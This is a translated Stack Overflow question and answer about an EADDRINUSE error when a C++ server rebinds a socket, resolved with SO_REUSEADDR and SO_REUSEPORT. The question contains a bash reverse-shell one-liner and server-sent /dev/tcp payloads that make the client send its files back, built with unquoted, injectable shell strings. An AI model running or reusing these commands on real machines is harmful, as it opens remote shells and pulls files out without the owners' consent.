无法在解除绑定后重新绑定套接字。

3
我正试图编写一个类似服务器的程序,客户端连接后,你可以下载任何你想要(并且有权限的)文件。我制作了一个函数,它具有使用/dev/TCP/IP/port设备让客户端发送文件(使用bash,我不想在所有计算机上都安装客户端)的能力。我可以从客户端获取并保存文件,但如果我想从同一端口下载第二个文件(每次下载后端口应该关闭),我会收到EADDRINUSE错误。
该函数:
void DownloadFile(int fd, cmd_args cmdargs, arguments args) {

    // check filepaths
    if(cmdargs.lpath.size() == 0 || (exists(cmdargs.lpath.c_str()) && is_directory(cmdargs.lpath.c_str()))) {
        log(/*args.OutputFile*/"file", "Please specify a path to save the downloaded file");
        return;
    }

    if(cmdargs.rpath.size() == 0) {
        log("file", "Please enter a path to a file");
        return;
    }

    // open a second server to bind
    SockInitializer sock = InitializeSocket(cmdargs.ip, cmdargs.port, true);

    // PACKET FORMAT: [f/d][int][\n][data]
    // PACKET EXPLANATION: file/directory size_of_file new_line file_data
    // open connection
    string connect_payload = "exec 3>/dev/tcp/";
    connect_payload += cmdargs.ip;
    connect_payload += '/';
    connect_payload += to_string(cmdargs.port);
    //connect_payload += ';\n';
    // send file/dir type
    string begin_payload = "[ -d \"";
    begin_payload += cmdargs.rpath;
    begin_payload += "\" ] && echo -n d >&3 || echo -n f >&3;";
    // send size number
    begin_payload += "echo -n $(stat --printf='%s' ";
    begin_payload += cmdargs.rpath;
    begin_payload += ") >&3;";
    // new line
    begin_payload += "echo >&3;";
    // send file
    begin_payload += "cat ";
    begin_payload += cmdargs.rpath;
    begin_payload += " >&3\n\n";

    // accept connection
    SendString(fd, connect_payload);
    int cfd = accept(sock.fd, &sock.addr, &sock.addrlen);
    SendString(fd, begin_payload);

    // get type
    string str = ListenSocket(cfd, 1, true);
    bool isFile = (str == "f");

    // get file size
    string ToDownloadSTRING = "";
    char buf = '\0';
    do {
        if(buf != '\0')
            ToDownloadSTRING += buf;
        buf = ListenSocket(cfd, 1, true)[0];
    } while(buf != '\n');

    // parse file size
    int ToDownload = atoi(ToDownloadSTRING.c_str());

    /* download file */
    if(isFile) {
        int downloaded = 0;
        // open file [write binary]
        fstream file;
        file.open(cmdargs.lpath, ios::out | ios::binary);
        // loop to fetch data
        while(downloaded < ToDownload) {
            string tmp = ListenSocket(cfd, DOWNLOAD_BUF_SIZE);
            // write to file
            file.write(tmp.c_str(), tmp.size());
            // flush to file
            file.flush();
            // add size to downloaded
            downloaded += tmp.size();
        }
        // close file
        file.close();
    }

    string disconnect_payload = "exec 3>&-";
    SendString(fd, disconnect_payload);

    // terminate connection
    shutdown(cfd, SHUT_RDWR);
    close(cfd);
    shutdown(sock.fd, SHUT_RDWR);
    close(sock.fd);
}

上面是整个函数,如果您需要整个内容可以参考。 下面是同样的函数,但只包含(我认为)您需要了解发生了什么的内容。
void DownloadFile(int fd, cmd_args cmdargs, arguments args) {

    //check the filepaths

    // open a second socket to bind
    SockInitializer sock = InitializeSocket(cmdargs.ip, cmdargs.port, true);

    // PACKET FORMAT: [f/d][int][\n][data]
    // PACKET EXPLAN: file/directory size_of_file new_line file_data

    // Payload to connect here and send the packet with the file
    string connect_payload = "exec 3>/dev/tcp/IP/PORT";
    string begin_payload = "[ -d \"REMOTE_PATH\" ] && echo -n d >&3 || echo -n f >&3; echo -n $(stat --printf='%s' REMOTE_PATH) >&3; echo >&3; cat REMOTE_PATH >&3\n\n";

    // accept connection on the new socket we initialized earlier in the function
    SendString(fd, connect_payload);
    int cfd = accept(sock.fd, &sock.addr, &sock.addrlen);
    SendString(fd, begin_payload);

    // is REMOTE_PATH referring to a file or a directory?
    string str = ListenSocket(cfd, 1, true);
    bool isFile = (str == "f");

    // get file size
    string ToDownloadSTRING = "";
    char buf = '\0';
    do {
        if(buf != '\0')
            ToDownloadSTRING += buf;
        buf = ListenSocket(cfd, 1, true)[0];
    } while(buf != '\n');

    // parse file size to integer
    int ToDownload = atoi(ToDownloadSTRING.c_str());

    /* download file */
    if(isFile) {
        int downloaded = 0;
        // open file [write binary]
        fstream file;
        file.open(LOCAL_PATH, ios::out | ios::binary);
        // loop to fetch data
        while(downloaded < ToDownload) {
            // get data
            string tmp = ListenSocket(cfd, DOWNLOAD_BUF_SIZE);
            // write to file
            file.write(tmp.c_str(), tmp.size());
            file.flush();
            // add size to downloaded
            downloaded += tmp.size();
        }
        // close file
        file.close();
    }

    // make the client close the file descriptor referring to the tcp connection
    string disconnect_payload = "exec 3>&-";
    SendString(fd, disconnect_payload);

    // terminate connection from the server
    shutdown(cfd, SHUT_RDWR);
    close(cfd);
    shutdown(sock.fd, SHUT_RDWR);
    close(sock.fd);

}

注意事项

这个问题中缺少很多函数,如果你需要任何函数,请询问,我只是认为你可以从名称中理解它们的作用。

客户端应该使用以下bash连接到服务器(我知道这实际上不安全): /bin/bash -i >& /dev/tcp/IP/PORT 0>&1

我正在使用parrotOS: Linux

该函数应该被调用两次而不终止程序,也不会将客户端与主套接字(传递给函数的fd)断开连接。


1
我还没有完全阅读,但是SO_REUSEADDR和/或SO_REUSEPORT可能会有所帮助。 - Ted Lyngmo
1
方便阅读(特别注意Remy Lebeau的评论):关闭端口后应立即可用吗? - user4581301
1个回答

3
如@Ted Lyngmo所指出的,我需要在我的套接字上使用SO_REUSEADDR和SO_REUSEPORT选项。
如果您遇到相同的问题,请按照以下步骤操作:
//get file descriptor
int fd = socket.socket(/*options*/);

// set the options
int _enable = 1;
if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &_enable, sizeof(_enable)) < 0) {
    /*Do stuff */
}
if(setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &_enable, sizeof(_enable)) < 0) {
    /* Do stuff */
}
bind(fd, /*blah blah*/);

注意 SO_REUSEPORT 和 SO_REUSEADDR 选项需要在第一个套接字上设置

不要尝试这样做:

int sock = socket.socket(/*blah blah*/);
int bound = bind(sock, /*blah blah*/);
if(bound < 0 && errno == EADDRINUSE) {
    int _enable = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &_enable, sizeof(_enable));
    setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, &_enable, sizeof(_enable));
    bind(sock, /*blah blah*/);
}

还要注意的是,套接字再次变得可用之前的延迟有很好的理由。如果上一个连接的任何数据包迟到了,被路由器通过冥王星或类似方式传输,可能会破坏流。请谨慎禁用延迟。 - user4581301

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接